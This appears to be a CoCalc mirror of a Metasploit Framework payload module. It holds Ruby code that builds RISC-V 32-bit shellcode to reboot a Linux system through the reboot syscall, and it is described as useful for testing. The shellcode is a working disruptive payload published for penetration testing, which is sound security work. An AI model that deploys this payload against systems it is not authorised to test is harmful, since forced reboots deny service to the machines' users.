Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv32le/reboot.rb
27077 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 32
8
9
include Msf::Payload::Single
10
11
def initialize(info = {})
12
super(
13
merge_info(
14
info,
15
'Name' => 'Linux Reboot',
16
'Description' => %q{
17
A very small shellcode for rebooting the system using
18
the reboot syscall. This payload is sometimes helpful
19
for testing purposes. Requires CAP_SYS_BOOT privileges.
20
},
21
'Author' => 'bcoles',
22
'License' => MSF_LICENSE,
23
'Platform' => 'linux',
24
'Arch' => ARCH_RISCV32LE,
25
'References' => [
26
['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
27
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/reboot/reboot.s'],
28
]
29
)
30
)
31
end
32
33
def generate(_opts = {})
34
shellcode =
35
[0xfee1e537].pack('V*') + # lui a0,0xfee1e
36
[0xead50513].pack('V*') + # addi a0,a0,-339
37
[0x281225b7].pack('V*') + # lui a1,0x2812
38
[0x96958593].pack('V*') + # addi a1,a1,-1687
39
[0x01234637].pack('V*') + # lui a2,0x1234
40
[0x56760613].pack('V*') + # addi a2,a2,1383
41
[0x08e00893].pack('V*') + # li a7,142
42
[0x00000073].pack('V*') # ecall
43
44
super.to_s + shellcode
45
end
46
end
47
48